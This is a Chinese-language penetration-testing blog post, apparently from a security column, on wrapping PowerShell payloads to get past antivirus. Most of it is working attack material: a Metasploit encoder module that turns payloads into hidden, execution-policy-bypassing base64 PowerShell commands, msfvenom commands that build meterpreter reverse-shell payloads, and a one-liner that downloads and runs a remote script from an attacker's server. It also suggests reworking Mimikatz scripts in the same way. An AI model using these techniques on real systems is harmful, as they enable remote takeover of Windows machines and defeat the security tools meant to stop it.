Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。
同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
在https://technet.microsoft.com,看到文档如下:
Here is a listing of the available startup parameters: -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. -EncodedCommand Specifies the base64-encoded command text to execute. -ExecutionPolicy Sets the default execution policy for the console session. -File Sets the name of a script fi le to execute. -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe). -NoLogo Starts the PowerShell console without displaying the copyright banner. -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. -NoProfile Tells the PowerShell console not to load the current user’s profile. -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. -Sta Starts PowerShell in single-threaded mode. -Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0. -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.
针对它的特性,本地测试:
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')
上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 https://www.secpulse.com/archives/71225.html
micropoor.ps1不幸被杀。
针对powershell特性,更改payload
接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网
并且根据需求,无缝连接Metasploit。https://www.secpulse.com/archives/71225.html
根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec
自动化实现如下:
# copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. # E.g # msf encoder(powershell/base64) > use exploit/multi/handler # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp # payload => windows/x64/meterpreter/reverse_tcp # msf exploit(multi/handler) > exploit # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx class MetasploitModule < Msf::Encoder Rank = NormalRanking def initialize super( 'Name' => 'Powershell Base64 Encoder', 'Description' => %q{ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. }, 'Author' => 'Micropoor', 'Arch' => ARCH_CMD, 'Platform' => 'win') register_options([ OptBool.new('payload', [ false, 'Use payload ', false ]), OptBool.new('x64', [ false, 'Use syswow64 powershell', false ]) ]) end def encode_block(state, buf) base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) cmd = '' if datastore['x64'] cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ' else cmd += 'powershell.exe ' end if datastore['payload'] cmd += '-windowstyle hidden -exec bypass -NoExit ' end cmd += "-EncodedCommand #{base64}" end end # if use caidao # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。
例1(目标出网,下载执行):
echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows
例2(目标不出网,本地执行)
注:加payload参数
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload
更多有趣的实验:
把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。
更改Invoke-Mimikatz.ps1等。
参考致谢
https://technet.microsoft.com/en-us/library/ff629472.aspx
https://www.secpulse.com/archives/tag/powershell
https://github.com/danielbohannon/Invoke-Obfuscation
本文作者:Micropoor
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/71225.html
有点零散 不够系统化 但是还是学习到了 谢谢